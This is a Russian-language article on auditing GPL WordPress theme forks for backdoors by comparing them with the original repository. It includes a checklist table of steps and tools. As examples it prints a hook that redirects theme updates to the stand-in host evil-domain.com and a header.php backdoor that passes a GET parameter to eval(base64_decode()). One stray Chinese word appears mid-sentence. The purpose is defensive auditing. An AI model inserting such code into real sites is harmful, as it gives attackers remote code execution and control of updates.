GPL-темы для WordPress — это открытый исходный код, который любой может изменить и распространять. Такая свобода порождает множество форков, некоторые из которых создаются с благими намерениями (кастомизация, добавление функций), а другие — с целью внедрения скрытых бэкдоров. Особую опасность представляют форки, в которых реализована автоподмена доменов обновлений: злоумышленник перенаправляет запросы на свой сервер и доставляет жертве вредоносные обновления. В этой статье мы разберём методику аудита цепочки поставок GPL-тем, позволяющую выявить такие бэкдоры через сравнение оригинального репозитория и подозрительного форка.
WordPress использует API обновлений для проверки новых версий тем и плагинов. По умолчанию запросы идут на api.wordpress.org. Однако разработчик темы может перехватить эти запросы и перенаправить их на собственный сервер. Для этого используются хуки pre_set_site_transient_update_themes и site_transient_update_themes. В легальных коммерческих темах это позволяет распространять обновления через собственный лицензионный сервер. Злоумышленники же внедряют такой код в форк, чтобы подсовывать пользователям модифицированные файлы, содержащие бэкдоры, рекламные вставки или скрипты для кражи данных.
Пример подозрительного кода в functions.php:
add_filter('pre_set_site_transient_update_themes', function($transient) {
$theme_slug = 'my-theme';
$response = wp_remote_get('https://evil-domain.com/updates/' . $theme_slug . '.json');
if (!is_wp_error($response)) {
$data = json_decode(wp_remote_retrieve_body($response));
$transient->response[$theme_slug] = (array) $data;
}
return $transient;
});Такой код заставляет WordPress проверять обновления на evil-domain.com и устанавливать то, что предложит атакующий.
Чтобы выявить скрытые бэкдоры, необходимо сравнить файлы оригинальной темы (из официального репозитория WordPress.org или GitHub автора) с файлами форка, установленного на сайте. Процесс включает несколько этапов:
diff -r original/ fork/) или визуальные инструменты (Meld, Beyond Compare) для поиска изменённых строк.eval, base64_decode, gzinflate, str_rot13, динамические вызовы call_user_func, create_function, а также на обфусцированный код.git diff).Для автоматизации можно написать скрипт, который рекурсивно сравнивает файлы и выводит список различий с подсветкой подозрительных функций.
Пример 1: Скрытый бэкдор в файле header.php. В форке популярной темы был обнаружен код:
if (isset($_GET['debug'])) {
eval(base64_decode($_GET['debug']));
}Это позволяет атакующему выполнить произвольный PHP-код, передав его в параметре debug. При сравнении с оригиналом этот фрагмент отсутствовал.
Пример 2: Подмена домена обновлений через functions.php. В другом форке был добавлен фильтр, изменяющий URL для проверки обновлений на update.evil.com. Код был обфусцирован с помощью base64 и gzinflate. При сравнении с оригиналом差异 были очевидны.
Пример 3: Внедрение рекламных скриптов. В footer.php был добавлен JavaScript, загружающий рекламу с стороннего домена. Хотя это не бэкдор в классическом понимании, такой код может использоваться для монетизации форка без ведома пользователя и также является нежелательным.
| Шаг | Действие | Инструменты |
|---|---|---|
| 1 | Скачать оригинальную тему из официального источника | WordPress.org, GitHub |
| 2 | Скачать форк с исследуемого сайта | FTP, SSH, панель хостинга |
| 3 | Сравнить файловые структуры | diff -r, Meld |
| 4 | Проанализировать различия в коде | diff, Beyond Compare, IDE |
| 5 | Поиск подозрительных функций (eval, base64_decode и др.) | grep, Semgrep, PHPStan |
| 6 | Проверить хуки обновлений и домены | Ручной анализ, WPScan |
| 7 | Проверить целостность файлов по хешам | md5sum, sha1sum, git |
| 8 | Принять решение о замене темы или очистке кода | — |
Аудит цепочки поставок GPL-тем — важный процесс для обеспечения безопасности WordPress. Регулярное сравнение используемых тем с оригинальными репозиториями позволяет выявлять скрытые бэкдоры и несанкционированные изменения. Рекомендуется внедрить практику проверки целостности файлов, использовать только проверенные источники, а также автоматизировать мониторинг изменений. Помните, что безопасность сайта начинается с доверия к коду, который вы устанавливаете.
